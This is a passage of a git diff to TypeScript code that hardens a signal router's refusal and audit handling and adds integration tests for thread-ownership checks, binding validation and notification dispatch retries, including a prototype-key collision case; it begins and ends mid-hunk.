+          ? undefined
+          : response.status === 404
+            ? 'invalid-thread'
+            : `downstream-${response.status}`,
+      );
+      return response.status === 404
+        ? json({ error: 'thread not found' }, 404)
+        : response;
     } catch (error) {
       if (error instanceof RunRouteError) {
-        // A post-auth denial: the target 404 or a smuggled memory-id 400.
-        // audit the rejection before mapping the status the router surfaces.
         await audit(
           'rejected',
           error.status === 404
@@ -310,12 +286,16 @@ export function createSignalRouter(options: SignalRouterOptions): SignalRouter {
               ? 'client-memory-id'
               : `route-error-${error.status}`,
         );
-        return json({ error: error.message }, error.status);
+        return json(
+          { error: error.status === 404 ? 'thread not found' : error.message },
+          error.status,
+        );
       }
       if (error instanceof ActorResolutionError) {
-        // Pre-auth (the resolver itself threw): unauthenticated, so not audited.
+        await audit('rejected', 'forbidden');
         return json({ error: 'forbidden' }, 403);
       }
+      await audit('rejected', 'internal-error');
       return internalErrorResponse('signals.ingest', error);
     }
   };
diff --git a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts
index 53baceef..cb208972 100644
--- a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts
+++ b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts
@@ -1,13 +1,8 @@
 // SPDX-License-Identifier: Apache-2.0
-// One signal ingested through the FULL chain: createSignalRouter's ingestion
-// gate → real createThreadTopology → real ThreadDurableObject (its
-// stamped-principal assertion) → the production thread signal routes → a
-// runtime-driven reserve agent, with NO LLM. The unit suites
-// each mock a seam; this one wires the real seams together so the ingestion
-// boundary has one end-to-end proof, including the idle-wake run cap consulted
-// both allowing and capping, plus a foreign path-safe thread refusal.
-
-import type { Agent } from '@mastra/core/agent';
+// The unit suites each mock a seam; this file wires the real seams together.
+
+import type { Agent, AgentSignal } from '@mastra/core/agent';
+import type { NotificationRecord } from '@mastra/core/notifications';
 import { RequestContext } from '@mastra/core/request-context';
 import { InMemoryStore } from '@mastra/core/storage';
 import {
@@ -17,14 +12,28 @@ import {
   createContentPolicyGate,
   denyPatterns,
 } from '@proofoftech/breakwater';
-import { describe, expect, it, vi } from 'vitest';
+import { assert, describe, expect, it, vi } from 'vitest';
 
-import { RUNTIME_DRIVEN_AGENT } from '../agent-runner/index.js';
+import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import {
+  type AgentThreadStateStorage,
+  createAgentThreadTopology,
+  createThreadAgentHost,
+  type ThreadAgentHost,
+} from '../agent-host/index.js';
+import {
+  bindAgentThread,
+  RUNTIME_DRIVEN_AGENT,
+} from '../agent-runner/index.js';
 import type { ActorContext, ApprovalActor } from '../approval-api/index.js';
 import {
   breakwaterActorFor,
+  createPrincipalActorContext,
   humanPrincipal,
+  InMemoryApprovalStoreFactory,
   principalAuditFields,
+  type ResourceOwnershipStore,
+  trustAutomationPrincipal,
 } from '../approval-api/index.js';
 import {
   type InitResult,
@@ -35,11 +44,16 @@ import {
   type ThreadScope,
 } from '../do-runner/index.js';
 import {
+  type BoundThreadTargetValidator,
   createThreadTopology as createThreadTopologyWithSecret,
+  RunRouteError,
   type ThreadNamespaceLike,
   type ThreadTopology,
 } from '../host-kit/index.js';
-import { createSignalRouter } from './router.js';
+import type { SignalDatabase } from './d1-shared.js';
+import { createNotificationDispatchTick } from './notification-dispatch.js';
+import { D1NotificationsStorage } from './notifications-d1.js';
+import { createSignalRouter, type SignalIngestAuditEvent } from './router.js';
 import {
   createThreadSignalRoutes,
   type RunCapConsult,
@@ -56,16 +70,25 @@ function createThreadTopology<Id>(
   return createThreadTopologyWithSecret(namespace, DEPLOYMENT_IDENTITY_SECRET);
 }
 
+/** One request and the response the thread DO returned for it. */
+type ThreadExchange = { request: Request; response?: Response };
+
 interface TestEnv {
   agent: Agent;
+  resolveNotificationsStorage?: () => D1NotificationsStorage;
   consultRunCap?: RunCapConsult;
   startIdleRun?: StartIdleRun;
   contentPolicy?: SignalContentPolicy;
+  ownership?: ResourceOwnershipStore;
+  bindingHost?: ThreadAgentHost;
+  exchanges?: ThreadExchange[];
 }
 
 // A minimal host thread DO: build() its init() wiring, route() the PRODUCTION
-// signal routes over the env's reserve agent + run cap. The base class refuses
-// a request without the topology-stamped execution principal before route().
+// signal routes. Two gates stand in front of them — the base class refuses a
+// request without the topology-stamped execution principal before route(), and
+// route() refuses a thread the env's ownership store assigns to another
+// principal.
 class TestThread extends ThreadDurableObject<TestEnv> {
   readonly #threadName: string;
 
@@ -83,6 +106,7 @@ class TestThread extends ThreadDurableObject<TestEnv> {
     resolveResourceId: () => resourceIdFromKey('itest'),
     consultRunCap: this.env.consultRunCap,
     startIdleRun: this.env.startIdleRun,
+    resolveNotificationsStorage: this.env.resolveNotificationsStorage,
     ...(this.env.contentPolicy !== undefined
       ? { contentPolicy: this.env.contentPolicy }
       : {}),
@@ -99,7 +123,20 @@ class TestThread extends ThreadDurableObject<TestEnv> {
     request: Request,
     scope: ThreadScope,
   ): Promise<Response> {
+    if (this.env.ownership) {
+      const owner = await this.env.ownership.owner('thread', scope.threadId);
+      if (
+        owner?.kind !== scope.principal.kind ||
+        owner.id !== scope.principal.id
+      ) {
+        return new Response('private thread ownership refusal', {
+          status: 404,
+          headers: { 'x-owner-policy': 'strict' },
+        });
+      }
+    }
     return (
+      (await this.env.bindingHost?.route(request, scope)) ??
       (await this.#routes(request, scope)) ??
       new Response(JSON.stringify({ error: 'not found' }), { status: 404 })
     );
@@ -109,7 +146,10 @@ class TestThread extends ThreadDurableObject<TestEnv> {
 // A namespace over in-memory TestThread instances: idFromName(name)=name and
 // get() memoizes one instance per thread name — its DO identity is its id.name,
 // exactly what the base class uses as the authoritative thread address.
-function threadNamespace(env: TestEnv): ThreadNamespaceLike<string> {
+function threadNamespace(
+  env: TestEnv,
+  afterResponse?: (exchange: ThreadExchange) => Promise<void>,
+): ThreadNamespaceLike<string> {
   const instances = new Map<string, TestThread>();
   return {
     idFromName: (name) => name,
@@ -121,17 +161,26 @@ function threadNamespace(env: TestEnv): ThreadNamespaceLike<string> {
       }
       const instance = inst;
       return {
-        fetch: (
+        fetch: async (
           input: Request | string,
           reqInit?: {
             method?: string;
             headers?: Record<string, string>;
             body?: string;
           },
-        ) =>
-          instance.fetch(
-            typeof input === 'string' ? new Request(input, reqInit) : input,
-          ),
+        ) => {
+          const request =
+            typeof input === 'string' ? new Request(input, reqInit) : input;
+          // The recorded exchange is where a response is observed: an observer
+          // reads it from the record, so it cannot see a call whose response
+          // the record is still missing.
+          const exchange: ThreadExchange = { request };
+          env.exchanges?.push(exchange);
+          const response = await instance.fetch(request);
+          exchange.response = response;
+          await afterResponse?.(exchange);
+          return response;
+        },
       };
     },
   };
@@ -163,27 +212,37 @@ function actorContext(): ActorContext {
   };
 }
 
-// A runtime-driven reserve agent (no LLM): records the ifIdle target sendMessage
-// received. The brand is what lets a wake pass the thread-route gate.
-function reserveAgent(): {
-  agent: Agent;
-  targets: Array<{ ifIdle?: unknown }>;
-} {
+// A runtime-driven reserve agent (no LLM): both writers, sendSignal and
+// sendMessage, record the ifIdle target they received into one list. The brand
+// is what lets a wake pass the thread-route gate.
+function reserveAgent(accepted?: Promise<unknown>) {
   const targets: Array<{ ifIdle?: unknown }> = [];
+  const sendSignal = vi.fn(
+    (signal: AgentSignal, target: { ifIdle?: unknown }) => {
+      targets.push(target);
+      return {
+        signal,
+        accepted: Promise.resolve({ action: 'persist' as const }),
+        persisted: Promise.resolve(),
+      };
+    },
+  );
   const agent = {
     id: 'reserve',
     [RUNTIME_DRIVEN_AGENT]: true,
     __setPubSub: () => {},
     getMemory: () => ({ saveMessages: vi.fn() }),
+    sendSignal,
     sendMessage: (_message: unknown, target: { ifIdle?: unknown }) => {
       targets.push(target);
       return {
         signal: { id: 'sig-1' },
-        accepted: Promise.resolve({ action: 'deliver', runId: 'acme_run' }),
+        accepted:
+          accepted ?? Promise.resolve({ action: 'deliver', runId: 'acme_run' }),
       };
     },
   } as unknown as Agent;
-  return { agent, targets };
+  return { agent, targets, sendSignal };
 }
 
 function wake(threadId: string): Request {
@@ -222,6 +281,41 @@ describe('signal ingestion — full chain (router → topology → thread DO →
     expect(targets).toHaveLength(0);
   });
 
+  it('records the thread response before an observer runs', async () => {
+    // #given an observer of the namespace's exchange record
+    const { agent } = reserveAgent();
+    const exchanges: NonNullable<TestEnv['exchanges']> = [];
+    const observed: Array<Response | undefined> = [];
+    const topology = createThreadTopology(
+      threadNamespace(
+        {
+          agent,
+          consultRunCap: async () => true,
+          startIdleRun: async ({ runId }) => ({ runId }),
+          exchanges,
+        },
+        async (exchange) => {
+          observed.push(exchange.response);
+        },
+      ),
+    );
+    const router = createSignalRouter({
+      resolve: async () => actorContext(),
+      topology,
+    });
+
+    // #when
+    const res = await router(wake(THREAD_ID));
+
+    // #then the observer read the response off the record, so the record
+    // carried it already
+    expect(res?.status).toBe(200);
+    const recorded = exchanges[0]?.response;
+    assert(recorded);
+    expect(observed).toHaveLength(1);
+    expect(observed[0]).toBe(recorded);
+  });
+
   it('degrades the wake to persist when the deployment is over its run cap', async () => {
     // #given — the cap refuses
     const { agent, targets } = reserveAgent();
@@ -267,6 +361,245 @@ describe('signal ingestion — full chain (router → topology → thread DO →
   });
 });
 
+describe('signal ingestion — strict owner policy with durable binding validation', () => {
+  async function fixture(accepted?: Promise<unknown>) {
+    const storeFactory = new InMemoryApprovalStoreFactory();
+    const unused = () => {
+      throw new Error('binding validation must not initialize agent execution');
+    };
+    const owner = createPrincipalActorContext({
+      principal: humanPrincipal({ id: 'opal', role: 'operator' }),
+      storeFactory,
+      buildService: unused,
+      mutationEpoch: 7,
+    });
+    const admin = createPrincipalActorContext({
+      principal: humanPrincipal({ id: 'admin', role: 'admin' }),
+      storeFactory,
+      buildService: unused,
+      mutationEpoch: 7,
+    });
+    await owner.claimResource('thread', THREAD_ID);
+    await owner.claimResource('resource', resourceIdFromKey(THREAD_ID));
+    const state = new Map<string, unknown>();
+    const stateStorage: AgentThreadStateStorage = {
+      get: async <T>(key: string) =>
+        structuredClone(state.get(key)) as T | undefined,
+      put: async (key, value) => {
+        state.set(key, structuredClone(value));
+      },
+      delete: unused,
+      list: unused,
+      getAlarm: unused,
+      setAlarm: unused,
+      deleteAlarm: unused,
+    };
+    await bindAgentThread(stateStorage, {
+      version: 1,
+      agentId: 'reserve',
+      resourceId: resourceIdFromKey(THREAD_ID),
+    });
+    vi.spyOn(stateStorage, 'get');
+    vi.spyOn(stateStorage, 'put');
+    const bindingHost = createThreadAgentHost({
+      buildModules: unused,
+      storage: unused,
+      stateStorage: () => stateStorage,
+      resourceAccess: () => storeFactory.resources(),
+      approvalService: unused,
+    });
+    const { agent, targets } = reserveAgent(accepted);
+    const consultRunCap = vi.fn(async () => true);
+    const startIdleRun = vi.fn(async ({ runId }: { runId: string }) => ({
+      runId,
+    }));
+    const exchanges: NonNullable<TestEnv['exchanges']> = [];
+    const namespace = threadNamespace({
+      agent,
+      consultRunCap,
+      startIdleRun,
+      ownership: storeFactory.resources(),
+      bindingHost,
+      exchanges,
+    });
+    const address = vi.spyOn(namespace, 'idFromName');
+    const get = vi.spyOn(namespace, 'get');
+    const agentTopology = createAgentThreadTopology(
+      namespace,
+      DEPLOYMENT_IDENTITY_SECRET,
+      { executionFence: 'none', startIdempotency: 'none' },
+    );
+    const validateThreadTarget: BoundThreadTargetValidator = async (
+      context,
+      target,
+    ) => {
+      const registered = await context.resourceOwnerFor(
+        'thread',
+        target.threadId,
+      );
+      if (
+        registered?.kind !== context.principal.kind ||
+        registered.id !== context.principal.id
+      ) {
+        throw new RunRouteError(404, 'strict ingress ownership refusal');
+      }
+      await agentTopology.requireBoundThread(context, target);
+    };
+    return {
+      owner,
+      admin,
+      stateStorage,
+      targets,
+      consultRunCap,
+      startIdleRun,
+      exchanges,
+      address,
+      get,
+      validateThreadTarget,
+      topology: createThreadTopology(namespace),
+    };
+  }
+
+  it.each([
+    true,
+    false,
+  ])('normalizes foreign-admin and missing refusals with strict ingress enabled=%s', async (strictIngress) => {
+    const setup = await fixture();
+    expect(
+      await setup.admin.canAccessResource('thread', THREAD_ID, 'write'),
+    ).toBe(true);
+    const events: SignalIngestAuditEvent[] = [];
+    const rateLimit = vi.fn(() => true);
+    const router = createSignalRouter({
+      resolve: async () => setup.admin,
+      topology: setup.topology,
+      ...(strictIngress
+        ? { validateThreadTarget: setup.validateThreadTarget }
+        : {}),
+      rateLimit,
+      audit: (event) => {
+        events.push(event);
+      },
+    });
+    const missing = mintThreadId(() => 'missing');
+    const responses = [];
+    for (const threadId of [THREAD_ID, missing]) {
+      const request = wake(threadId);
+      const response = await router(request);
+      responses.push({
+        status: response?.status,
+        headers: [...(response?.headers ?? [])],
+        body: await response?.text(),
+      });
+      expect(request.bodyUsed).toBe(!strictIngress && threadId === THREAD_ID);
+    }
+    expect(responses[0]).toEqual(responses[1]);
+    expect(responses[0]).toEqual({
+      status: 404,
+      headers: [
+        ['cache-control', 'no-store'],
+        ['content-type', 'application/json'],
+      ],
+      body: '{"error":"thread not found"}',
+    });
+    expect(events).toEqual(
+      [THREAD_ID, missing].map((threadId) =>
+        expect.objectContaining({
+          actorId: 'admin',
+          threadId,
+          outcome: 'rejected',
+          reason: 'invalid-thread',
+        }),
+      ),
+    );
+    expect(setup.address).toHaveBeenCalledTimes(strictIngress ? 0 : 1);
+    expect(setup.get).toHaveBeenCalledTimes(strictIngress ? 0 : 1);
+    expect(rateLimit).toHaveBeenCalledTimes(strictIngress ? 0 : 1);
+    expect(setup.stateStorage.get).not.toHaveBeenCalled();
+    expect(setup.stateStorage.put).not.toHaveBeenCalled();
+    expect(setup.targets).toEqual([]);
+    expect(setup.consultRunCap).not.toHaveBeenCalled();
+    expect(setup.startIdleRun).not.toHaveBeenCalled();
+    if (strictIngress) {
+      expect(setup.exchanges).toEqual([]);
+    } else {
+      expect(setup.exchanges).toHaveLength(1);
+      const downstream = setup.exchanges[0];
+      assert(downstream);
+      expect(downstream.request.method).toBe('POST');
+      expect(new URL(downstream.request.url).pathname).toBe('/signal/message');
+      expect(downstream.response?.status).toBe(404);
+      expect(await downstream.response?.text()).toBe(
+        'private thread ownership refusal',
+      );
+      expect(downstream.response?.headers.get('x-owner-policy')).toBe('strict');
+    }
+  });
+
+  it('validates the owner binding through the host route and audits after the signal response', async () => {
+    let complete!: (decision: unknown) => void;
+    const accepted = new Promise<unknown>((resolve) => {
+      complete = resolve;
+    });
+    const setup = await fixture(accepted);
+    const events: SignalIngestAuditEvent[] = [];
+    const router = createSignalRouter({
+      resolve: async () => setup.owner,
+      topology: setup.topology,
+      validateThreadTarget: setup.validateThreadTarget,
+      audit: (event) => {
+        expect(setup.exchanges[1]?.response?.status).toBe(200);
+        events.push(event);
+      },
+    });
+    const pending = router(
+      new Request(`http://host/api/threads/${THREAD_ID}/message`, {
+        method: 'POST',
+        headers: { 'content-type': 'application/json' },
+        body: JSON.stringify({ contents: 'status update', ifIdle: 'persist' }),
+      }),
+    );
+    await vi.waitFor(() => expect(setup.targets).toHaveLength(1));
+    expect(events).toEqual([]);
+    expect(
+      setup.exchanges.map(({ request }) => ({
+        method: request.method,
+        path: new URL(request.url).pathname,
+      })),
+    ).toEqual([
+      { method: 'GET', path: '/_flowsafe/agent-host/binding' },
+      { method: 'POST', path: '/signal/message' },
+    ]);
+    const binding = setup.exchanges[0];
+    assert(binding);
+    expect(new URL(binding.request.url).searchParams.get('resourceId')).toBe(
+      resourceIdFromKey(THREAD_ID),
+    );
+    expect(await setup.exchanges[0]?.response?.clone().json()).toEqual({
+      bound: true,
+    });
+    expect(setup.exchanges[1]?.response).toBeUndefined();
+    complete({ action: 'deliver', runId: 'acme_run' });
+    const response = await pending;
+    expect(response).toBe(setup.exchanges[1]?.response);
+    expect(response?.status).toBe(200);
+    expect(await response?.json()).toMatchObject({
+      decision: { action: 'deliver', runId: 'acme_run' },
+      capped: false,
+    });
+    expect(events).toEqual([
+      expect.objectContaining({
+        actorId: 'opal',
+        threadId: THREAD_ID,
+        outcome: 'accepted',
+      }),
+    ]);
+    expect(setup.stateStorage.get).toHaveBeenCalledOnce();
+    expect(setup.stateStorage.put).not.toHaveBeenCalled();
+    expect(setup.startIdleRun).not.toHaveBeenCalled();
+  });
+});
+
 // The cross-package seam, wired the way the FlowSafe README documents it: a
 // REAL Breakwater content gate behind FlowSafe's structural callback, driven
 // through the REAL router → topology → thread DO → routes chain. FlowSafe keeps
@@ -390,3 +723,497 @@ describe('signal ingestion — Breakwater content gate over the full chain', ()
     });
   });
 });
+
+describe('notification dispatch — lost response after the thread DO handler', () => {
+  it.each([
+    'summary',
+    'individual',
+    'denial',
+    'recorded-failure',
+  ] as const)('preserves the actual %s receipt across the outer tick fallback', async (mode) => {
+    const now = new Date('2026-07-20T12:00:00.000Z');
+    const futureDelivery = new Date(now.getTime() + 60_000);
+    vi.useFakeTimers({ toFake: ['Date'] });
+    vi.setSystemTime(now);
+    try {
+      const sqlite = openSqlite();
+      const storage = new D1NotificationsStorage(
+        sqliteUnitDatabase(sqlite) as SignalDatabase,
+      );
+      const { agent, sendSignal } = reserveAgent();
+      if (mode === 'recorded-failure') {
+        sendSignal.mockImplementation(() => {
+          throw new Error('original receiver refusal');
+        });
+      }
+      const record = await storage.createNotification({
+        id: `lost-${mode}`,
+        threadId: THREAD_ID,
+        resourceId: resourceIdFromKey('itest'),
+        agentId: agent.id,
+        source: 'provider',
+        kind: 'changed',
+        summary: 'notification input',
+        priority: mode === 'summary' ? 'low' : 'urgent',
+        deliverAt:
+          mode === 'summary' ? futureDelivery : new Date(now.getTime() - 1),
+        summaryAt: mode === 'summary' ? new Date(now.getTime() - 1) : undefined,
+        payload: { version: 1 },
+      });
+      const lookup = { threadId: THREAD_ID, id: record.id };
+      const rawReceipt = () =>
+        sqlite
+          .prepare(
+            'SELECT * FROM mastra_notifications WHERE thread_id = ? AND id = ?',
+          )
+          .get(lookup.threadId, lookup.id);
+      const before = await storage.getNotification(lookup);
+      const beforeRaw = rawReceipt();
+      let durableReceipt: NotificationRecord | null = null;
+      let durableRaw: unknown;
+      let routeResult: unknown;
+      const responseReceived = vi.fn(async ({ response }: ThreadExchange) => {
+        assert(response);
+        expect(response.status).toBe(200);
+        routeResult = await response.clone().json();
+        durableReceipt = await storage.getNotification(lookup);
+        durableRaw = rawReceipt();
+        throw new Error('thread handler response lost');
+      });
+      const contentPolicy = vi.fn<SignalContentPolicy>(() =>
+        mode === 'denial'
+          ? { allowed: false, outcome: 'denied' }
+          : { allowed: true },
+      );
+      const topology = createThreadTopology(
+        threadNamespace(
+          {
+            agent,
+            resolveNotificationsStorage: () => storage,
+            contentPolicy,
+          },
+          responseReceived,
+        ),
+      );
+      const context = createPrincipalActorContext({
+        principal: trustAutomationPrincipal({
+          kind: 'system',
+          id: 'notification-maintenance',
+          purpose: 'notification.dispatch',
+        }),
+        storeFactory: new InMemoryApprovalStoreFactory(),
+        buildService: () => {
+          throw new Error('approval service is not used in notification tests');
+        },
+      });
+      const conditional = vi.spyOn(
+        storage,
+        'updateNotificationDeliveryIfUnchanged',
+      );
+      const tick = createNotificationDispatchTick({
+        storage,
+        topology,
+        resolveContext: () => context,
+        executionFence: 'none',
+        now: () => now,
+      });
+
+      expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 });
+      expect(responseReceived).toHaveBeenCalledOnce();
+      expect(contentPolicy).toHaveBeenCalledExactlyOnceWith(
+        expect.objectContaining({
+          principal: {
+            kind: 'system',
+            id: 'notification-maintenance',
+            purpose: 'notification.dispatch',
+          },
+          threadId: THREAD_ID,
+          resourceId: resourceIdFromKey('itest'),
+          entryPath: 'notification.dispatch',
+        }),
+      );
+      expect(durableReceipt).not.toEqual(before);
+      expect(durableRaw).not.toEqual(beforeRaw);
+      expect(durableReceipt).toMatchObject({ updatedAt: before?.updatedAt });
+      expect(await storage.getNotification(lookup)).toEqual(durableReceipt);
+      expect(rawReceipt()).toEqual(durableRaw);
+      expect(conditional).toHaveBeenCalledTimes(
+        mode === 'recorded-failure' ? 2 : 1,
+      );
+      const outerFailure = conditional.mock.calls.at(-1)?.[0];
+      expect(outerFailure).toMatchObject({
+        expected: {
+          deliveryAttempts: 0,
+          summarySignalId: null,
+          deliveredSignalId: null,
+        },
+        failure: {
+          type: 'retry',
+          deliveryAttempts: 1,
+          lastDeliveryError: 'thread handler response lost',
+        },
+      });
+      expect(await conditional.mock.results.at(-1)?.value).toEqual({
+        applied: false,
+      });
+
+      if (mode === 'summary') {
+        expect(routeResult).toMatchObject({ delivered: 1, failed: 0 });
+        expect(durableReceipt).toMatchObject({
+          status: 'pending',
+          summaryAt: undefined,
+          summarySignalId: expect.any(String),
+          deliverAt: futureDelivery,
+          deliveryAttempts: 0,
+          lastDeliveryError: undefined,
+        });
+        expect(sendSignal).toHaveBeenCalledOnce();
+      } else if (mode === 'individual') {
+        expect(routeResult).toMatchObject({ delivered: 1, failed: 0 });
+        expect(durableReceipt).toMatchObject({
+          status: 'delivered',
+          deliveredSignalId: expect.any(String),
+          deliveryAttempts: 0,
+          lastDeliveryError: undefined,
+        });
+        expect(sendSignal).toHaveBeenCalledOnce();
+      } else if (mode === 'denial') {
+        expect(routeResult).toMatchObject({
+          delivered: 0,
+          failed: 0,
+          discarded: 1,
+        });
+        expect(durableReceipt).toMatchObject({
+          status: 'discarded',
+          deliveryReason: 'content-policy-denied',
+          deliveryAttempts: 0,
+          lastDeliveryError: undefined,
+          discardedAt: now,
+        });
+        expect(sendSignal).not.toHaveBeenCalled();
+      } else {
+        expect(routeResult).toMatchObject({ delivered: 0, failed: 1 });
+        expect(durableReceipt).toMatchObject({
+          status: 'pending',
+          deliveryAttempts: 1,
+          lastDeliveryError: 'original receiver refusal',
+          lastDeliveryAttemptAt: now,
+          deliverAt: new Date(now.getTime() + 1000),
+        });
+        expect(sendSignal).toHaveBeenCalledOnce();
+      }
+      expect(await storage.listDueNotifications({ now })).toEqual([]);
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+
+  it('preserves the summary receipt for a batch naming an Object.prototype member', async () => {
+    // #given — a due summary batch whose sources collide with the prototype
+    const now = new Date('2026-07-20T12:00:00.000Z');
+    const futureDelivery = new Date(now.getTime() + 60_000);
+    vi.useFakeTimers({ toFake: ['Date'] });
+    vi.setSystemTime(now);
+    try {
+      const sqlite = openSqlite();
+      const storage = new D1NotificationsStorage(
+        sqliteUnitDatabase(sqlite) as SignalDatabase,
+      );
+      const { agent, sendSignal } = reserveAgent();
+      const ids: string[] = [];
+      for (const source of ['constructor', '__proto__', 'crm']) {
+        const created = await storage.createNotification({
+          id: `lost-summary-${source}`,
+          threadId: THREAD_ID,
+          resourceId: resourceIdFromKey('itest'),
+          agentId: agent.id,
+          source,
+          kind: 'changed',
+          summary: `${source} input`,
+          priority: 'low',
+          deliverAt: futureDelivery,
+          summaryAt: new Date(now.getTime() - 1),
+          payload: { version: 1 },
+        });
+        ids.push(created.id);
+      }
+      const durableReceipts: Array<Record<string, unknown> | null> = [];
+      const responseReceived = vi.fn(async ({ response }: ThreadExchange) => {
+        assert(response);
+        expect(response.status).toBe(200);
+        for (const id of ids) {
+          durableReceipts.push(
+            (await storage.getNotification({
+              threadId: THREAD_ID,
+              id,
+            })) as unknown as Record<string, unknown> | null,
+          );
+        }
+        throw new Error('thread handler response lost');
+      });
+      const topology = createThreadTopology(
+        threadNamespace(
+          { agent, resolveNotificationsStorage: () => storage },
+          responseReceived,
+        ),
+      );
+      const context = createPrincipalActorContext({
+        principal: trustAutomationPrincipal({
+          kind: 'system',
+          id: 'notification-maintenance',
+          purpose: 'notification.dispatch',
+        }),
+        storeFactory: new InMemoryApprovalStoreFactory(),
+        buildService: () => {
+          throw new Error('approval service is not used in notification tests');
+        },
+      });
+      const tick = createNotificationDispatchTick({
+        storage,
+        topology,
+        resolveContext: () => context,
+        executionFence: 'none',
+        now: () => now,
+      });
+
+      // #when — the thread DO succeeds and its response is lost
+      expect(await tick()).toEqual({ due: 3, delivered: 0, failed: 3 });
+
+      // #then — the emitted summary counted each colliding source once
+      expect(sendSignal).toHaveBeenCalledOnce();
+      const summary = sendSignal.mock.calls[0]?.[0] as unknown as {
+        tagName: string;
+        contents: string;
+        metadata: Record<string, unknown>;
+      };
+      expect(summary.tagName).toBe('notification-summary');
+      expect(summary.contents).toBe('__proto__: 1, constructor: 1, crm: 1');
+      expect(summary.metadata.notification).toMatchObject({
+        signal: 'summary',
+        pending: 3,
+        groups: [
+          { source: '__proto__', count: 1 },
+          { source: 'constructor', count: 1 },
+          { source: 'crm', count: 1 },
+        ],
+        byPriority: { low: 3 },
+      });
+
+      // The durable summary receipts survive the outer tick fallback.
+      for (const receipt of durableReceipts) {
+        expect(receipt).toMatchObject({
+          status: 'pending',
+          summaryAt: undefined,
+          summarySignalId: expect.any(String),
+          deliverAt: futureDelivery,
+          deliveryAttempts: 0,
+          lastDeliveryError: undefined,
+        });
+      }
+      for (const id of ids) {
+        expect(
+          await storage.getNotification({ threadId: THREAD_ID, id }),
+        ).toEqual(durableReceipts[ids.indexOf(id)]);
+      }
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+});
+
+describe('notification dispatch — ownerless target', () => {
+  it('discards a notification whose thread became ownerless after it was created: each dispatch attempt fails with 404 until delivery-attempts-exhausted', async () => {
+    let now = new Date('2026-07-20T12:00:00.000Z');
+    const storage = new D1NotificationsStorage(
+      sqliteUnitDatabase(openSqlite()) as SignalDatabase,
+    );
+    const storeFactory = new InMemoryApprovalStoreFactory();
+    const context = createPrincipalActorContext({
+      principal: trustAutomationPrincipal({
+        kind: 'system',
+        id: 'notification-maintenance',
+        purpose: 'notification.dispatch',
+      }),
+      storeFactory,
+      buildService: () => {
+        throw new Error('approval service is not used in notification tests');
+      },
+    });
+    await context.claimResource('thread', THREAD_ID);
+    const ownership = storeFactory.resources();
+    const { agent, sendSignal, targets } = reserveAgent();
+    const exchanges: NonNullable<TestEnv['exchanges']> = [];
+    const namespace = threadNamespace({
+      agent,
+      ownership,
+      exchanges,
+      resolveNotificationsStorage: () => storage,
+    });
+    namespace.get(namespace.idFromName(THREAD_ID));
+    const record = await storage.createNotification({
+      id: 'ownerless',
+      threadId: THREAD_ID,
+      resourceId: resourceIdFromKey('itest'),
+      agentId: agent.id,
+      source: 'provider',
+      kind: 'changed',
+      summary: 'ownerless input',
+      priority: 'urgent',
+      deliverAt: new Date(now.getTime() - 1),
+    });
+    expect(await ownership.owner('thread', THREAD_ID)).toEqual(
+      context.resourceOwner,
+    );
+    expect(
+      await ownership.release('thread', THREAD_ID, context.resourceOwner),
+    ).toBe(true);
+    expect(await ownership.owner('thread', THREAD_ID)).toBeUndefined();
+
+    const conditional = vi.spyOn(
+      storage,
+      'updateNotificationDeliveryIfUnchanged',
+    );
+    const tick = createNotificationDispatchTick({
+      storage,
+      topology: createThreadTopology(namespace),
+      resolveContext: () => context,
+      executionFence: 'none',
+      maxDeliveryAttempts: 2,
+      now: () => now,
+    });
+    expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 });
+    const deferred = await storage.getNotification(record);
+    expect(deferred).toMatchObject({
+      status: 'pending',
+      deliveryAttempts: 1,
+      lastDeliveryAttemptAt: now,
+      lastDeliveryError: 'thread notification dispatch returned 404',
+    });
+    assert(deferred?.deliverAt);
+    expect(deferred.deliverAt.getTime()).toBeGreaterThan(now.getTime());
+    expect(sendSignal).not.toHaveBeenCalled();
+    expect(targets).toEqual([]);
+
+    now = deferred.deliverAt;
+    expect(await tick()).toEqual({
+      due: 1,
+      delivered: 0,
+      failed: 0,
+      discarded: 1,
+    });
+    const terminal = await storage.getNotification(record);
+    expect(terminal).toMatchObject({
+      status: 'discarded',
+      deliveryReason: 'delivery-attempts-exhausted',
+      deliveryAttempts: 2,
+      lastDeliveryAttemptAt: now,
+      lastDeliveryError: 'thread notification dispatch returned 404',
+      discardedAt: expect.any(Date),
+      deliverAt: undefined,
+      summaryAt: undefined,
+      deliveredSignalId: undefined,
+    });
+    expect(conditional.mock.calls.map(([input]) => input.failure)).toEqual([
+      expect.objectContaining({
+        type: 'retry',
+        deliveryAttempts: 1,
+        lastDeliveryError: 'thread notification dispatch returned 404',
+      }),
+      expect.objectContaining({
+        type: 'discard',
+        deliveryAttempts: 2,
+        lastDeliveryError: 'thread notification dispatch returned 404',
+      }),
+    ]);
+    expect(exchanges).toHaveLength(2);
+    for (const exchange of exchanges) {
+      expect(new URL(exchange.request.url).pathname).toBe(
+        '/signal/notifications/dispatch',
+      );
+      expect(exchange.response?.status).toBe(404);
+      expect(await exchange.response?.clone().text()).toBe(
+        'private thread ownership refusal',
+      );
+    }
+    expect(await tick()).toEqual({ due: 0, delivered: 0, failed: 0 });
+    expect(await storage.getNotification(record)).toEqual(terminal);
+    expect(conditional).toHaveBeenCalledTimes(2);
+    expect(exchanges).toHaveLength(2);
+    expect(sendSignal).not.toHaveBeenCalled();
+    expect(targets).toEqual([]);
+  });
+});
+
+describe('notification dispatch — chronological due window', () => {
+  it.each([
+    'deliverAt',
+    'summaryAt',
+  ] as const)('delivers a due sibling through the thread DO ahead of a future expanded-year %s', async (cursor) => {
+    const now = new Date('2026-07-20T12:00:00.000Z');
+    const storage = new D1NotificationsStorage(
+      sqliteUnitDatabase(openSqlite()) as SignalDatabase,
+    );
+    const { agent, sendSignal } = reserveAgent();
+    const future = await storage.createNotification({
+      id: 'future',
+      threadId: THREAD_ID,
+      resourceId: resourceIdFromKey('itest'),
+      agentId: agent.id,
+      source: 'provider',
+      kind: 'changed',
+      summary: 'future input',
+      priority: 'urgent',
+      [cursor]: new Date('+010000-01-01T00:00:00.000Z'),
+    });
+    const due = await storage.createNotification({
+      id: 'due',
